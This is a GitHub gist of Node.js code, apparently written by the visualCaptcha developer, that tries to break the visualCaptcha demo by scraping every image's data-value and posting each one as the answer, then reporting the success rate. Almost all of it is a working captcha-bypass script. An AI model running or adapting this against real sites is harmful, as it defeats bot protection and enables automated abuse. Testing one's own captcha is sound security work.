Created
August 15, 2013 20:06
-
-
Save BrunoBernardino/6244324 to your computer and use it in GitHub Desktop.
This is code based off of https://gist.github.com/ipeychev/6234050, refactored to be possible to make multiple attempts in one execution. 100 attempts are equivalent to 500 post requests (every "attempt" tries to post 5 images). I'm actually getting < 5-7% successful break attempt rates, but it's still unnacceptable and I'll use this code to che…
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This code has a break rate of < 10%. It's still unnacceptable, though. | |
var request = require( 'request' ).defaults( { jar: true } ), | |
q = require( 'q' ); | |
var URI = 'http://demo.visualcaptcha.net/'; | |
// Make a post | |
var makePost = function makePost( imgHash, partialURL, tryNumber ) { | |
var deferred = q.defer(), | |
checkIfCaptchaIsValid; | |
// Visual information of a request being made | |
process.stdout.write( '.' ); | |
// Checks if the captcha was broken or not, saying how many attemps it made | |
checkIfCaptchaIsValid = function checkIfCaptchaIsValid( error, response, body ) { | |
if ( ! error && response.statusCode === 200 ) { | |
if ( body.indexOf('Captcha valid!') > 0 ) { | |
deferred.resolve({ | |
broke: true, | |
tries: tryNumber | |
}); | |
} else { | |
deferred.resolve({ | |
broke: false, | |
tries: tryNumber | |
}); | |
} | |
} else { | |
deferred.reject(); | |
} | |
}; | |
request.post( | |
URI + partialURL, | |
{ | |
form: { | |
'captcha-value': imgHash, | |
form_submit: 1 | |
} | |
}, | |
checkIfCaptchaIsValid | |
); | |
return deferred.promise; | |
}; | |
// Makes a break attempt, basically looks for the image hashes and makes a post for each hash | |
var makeBreakAttempt = function makeBreakAttempt() { | |
'use strict'; | |
var deferred = q.defer(); | |
request.get( URI, function ( error, response, body ) { | |
if ( ! error && response.statusCode === 200 ) { | |
var arr, | |
imgData, | |
formActionRegExp = /<form.*action="([^"]+)"/, | |
action = formActionRegExp.exec( body )[ 1 ], | |
imgRegExp = /<img.*data-value="([^"]+)"/g, | |
match = imgRegExp.exec( body ), | |
tries = 0, | |
promiseTries = []; | |
// Make a post for each image | |
while ( match !== null ) { | |
imgData = match[1]; | |
match = imgRegExp.exec( body ); | |
promiseTries.push( makePost(imgData, action, ++tries) ); | |
} | |
q.all( promiseTries ) | |
.then( function( results ) { | |
deferred.resolve( results ); | |
}) | |
.fail( function() { | |
deferred.reject(); | |
}); | |
} | |
}); | |
return deferred.promise; | |
}; | |
(function() { | |
'use strict'; | |
var numberOfAttempts = 1, | |
attempts = [], | |
i, | |
successfulAttempts = 0, | |
rate = 0.00, | |
maxAttempts = 100, | |
numberOfPostAttempts = 0; | |
if ( process.argv[2] ) { | |
numberOfAttempts = parseInt( process.argv[2], 10 ); | |
} | |
// Prevent erroneous numbers, and limit to maxAttempts attempts | |
if ( isNaN(numberOfAttempts) || ! numberOfAttempts || numberOfAttempts < 0 || numberOfAttempts > maxAttempts ) { | |
numberOfAttempts = 1; | |
} | |
for ( i = numberOfAttempts; i > 0; i--) { | |
attempts.push( makeBreakAttempt() ); | |
} | |
// Create an empty line | |
console.log( '' ); | |
q.all( attempts ) | |
.then( function( attemptResults ) { | |
console.log( 'Done.\n' ); | |
attemptResults.forEach( function( postResults ) { | |
numberOfPostAttempts += postResults.length; | |
postResults.forEach( function( result ) { | |
if ( result.broke === true ) { | |
++successfulAttempts; | |
} | |
}); | |
}); | |
rate = ( successfulAttempts * 100 / numberOfPostAttempts ).toFixed( 2 ); | |
console.log( 'Successfull breaking rate of ' + rate + '%.\n' ); | |
}) | |
.fail( function() { | |
console.log( 'Failed.\n' ); | |
}); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment